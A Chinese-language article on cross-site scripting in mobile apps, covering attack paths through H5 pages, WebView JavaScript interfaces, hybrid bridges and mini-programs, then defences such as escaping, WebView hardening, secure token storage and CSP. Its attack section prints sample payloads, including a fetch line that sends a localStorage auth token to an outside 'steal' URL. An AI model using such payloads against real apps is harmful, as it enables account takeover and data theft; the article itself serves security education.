随着移动互联网的普及,大量应用依赖 H5 页面、WebView、Hybrid 框架、小程序 来实现复杂功能。虽然移动端应用看似与浏览器不同,但它们依然面临 XSS(跨站脚本攻击) 的威胁。移动端 XSS 的危害不仅仅局限于窃取 Cookie,更可能突破应用沙箱,获取更高权限。本文将从攻击路径与防护思路两个方面进行剖析。
一、移动端中的 XSS 攻击路径
1. H5 页面输入点未过滤
常见场景:App 内嵌 H5 登录页、搜索页、评论区。
如果未做输入过滤,攻击者可以注入脚本:
<img src=1 onerror=alert('XSS in Mobile H5')>
风险:用户点击页面时,触发恶意代码,窃取 Token 或伪造操作。
2. WebView 漏洞利用
移动 App 常通过 WebView 加载网页。
如果 WebView 未禁用
JavaScriptInterface
或addJavascriptInterface
方法,就可能被 XSS 利用。攻击者通过注入脚本调用本地 API:
// 伪代码:调用暴露给 WebView 的本地方法window.Android.getDeviceInfo();
风险:突破浏览器沙箱,直接调用原生接口,窃取设备信息。
3. Hybrid 应用与桥接层
Hybrid App(React Native、Cordova 等)通过 JS 与 Native 通信。
XSS 脚本可借桥接层调用高权限功能(拍照、通讯录)。
风险:从前端“页面漏洞”升级为“设备权限漏洞”。
4. 移动端小程序与 Web 组件
小程序也依赖 WebView 渲染。
若组件未严格过滤外部数据,XSS 可能注入其中,造成信息窃取或跳转钓鱼站点。
5. 移动端 Token 劫持
移动端常使用
LocalStorage
、SessionStorage
或内存变量保存 Token。攻击者通过 XSS 注入脚本窃取:
fetch("https://x8s.pw/steal?token="+localStorage.getItem("auth_token"));
风险:一旦 Token 被盗,黑客可远程接管用户账号。
二、XSS 在移动端的危害
账号接管:盗取 Token、Cookie,冒充用户登录。
隐私泄露:读取聊天记录、个人资料、地理位置。
设备控制:利用 WebView/桥接层调用原生功能。
钓鱼欺诈:在应用内伪造登录框,引导用户输入账号密码。
蠕虫传播:在消息、评论中注入 XSS,快速扩散。
三、防护思路
1. 输入验证与输出转义
所有用户输入都必须经过验证。
在页面输出时进行上下文转义:
HTML →
< >
JS →
\x3cscript\x3e
URL →
encodeURIComponent
2. WebView 安全配置
禁用不必要的接口:
webView.getSettings().setJavaScriptEnabled(false); // 不需要就关闭webView.removeJavascriptInterface("searchBoxJavaBridge_");
使用 白名单域名 机制,只允许可信页面加载。
避免
file://
协议加载本地不安全文件。
3. Token 安全存储
不在 LocalStorage 中保存长期有效的 Token。
使用安全存储(如 iOS Keychain / Android Keystore)。
设置 Token 短期有效期,并支持快速吊销。
4. CSP 与安全策略
部署 内容安全策略(CSP),限制脚本来源。
阻止内联脚本执行,防止简单注入。
5. 小程序安全
避免直接信任外部输入内容。
使用组件自带的防注入能力,例如
rich-text
标签的白名单机制。
6. 安全测试与监控
定期进行渗透测试(Burp、Frida Hook 分析 WebView 调用)。
在服务器端检测异常请求,及时封堵攻击链。
四、总结
在移动端,XSS 的攻击路径更复杂、危害更大:它不仅能 盗取账号,还可能通过 WebView 或 Hybrid 桥接层突破沙箱,直接操控设备功能。
防御思路必须从 输入输出安全、WebView 配置、Token 管理、策略防护、监控审计 五个方面入手,才能真正降低移动端 XSS 风险。